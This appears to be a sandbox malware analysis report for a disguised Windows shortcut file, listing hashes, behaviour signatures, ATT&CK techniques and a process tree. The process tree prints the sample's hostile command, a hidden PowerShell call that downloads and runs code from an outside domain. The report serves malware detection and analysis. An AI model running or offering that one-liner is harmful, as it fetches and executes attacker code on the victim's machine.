36b86fc4dbfabc7de28b5e0293f378b72dbb2b5b5d25351c6ff125bc46e7079a

Analysis

max time kernel
149s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/07/2026, 04:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
photos-2026c-1106037895593 lnk.lnk
Size 1KB
Sample260714-eykhdad19k
SHA256 36b86fc4dbfabc7de28b5e0293f378b72dbb2b5b5d25351c6ff125bc46e7079a
MD5 d54ca1c035df6b8abf7e8f481059e800
SHA1 aa8092ca625ac707b01daaaf521c18a6810baa35
SHA512 cc1938c29c2116452794b4720e5f4392ed87e567d90aa8e2169ecc02b9aaf05fa6afbb7e38f51eb84286e63bebf30adc42e8f27b860ef2b4e51c78d817cc9749
TLSH
T16511C2251FEF0A00E2F65A34ECB8966129307C0C8A31065D0380182C4CE2A18DC36F32
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4908	powershell.exe
3	4908	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4908	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4908	powershell.exe
4908	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4908	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 2436	2396	cmd.exe	89
PID 2436 wrote to memory of 4908	2436	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\photos-2026c-1106037895593 lnk.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm hezhiad.com)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm hezhiad.com)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4908-0-0x00007FFBA7BCF000-0x00007FFBA7BD0000-memory.dmp

Download

memory/4908-4-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-3-0x00000247A4840000-0x00000247A4862000-memory.dmp

Download

memory/4908-5-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-6-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-7-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-8-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-9-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-10-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-11-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-12-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-14-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-15-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download

memory/4908-17-0x00007FFBA7A40000-0x00007FFBA83E4000-memory.dmp

Download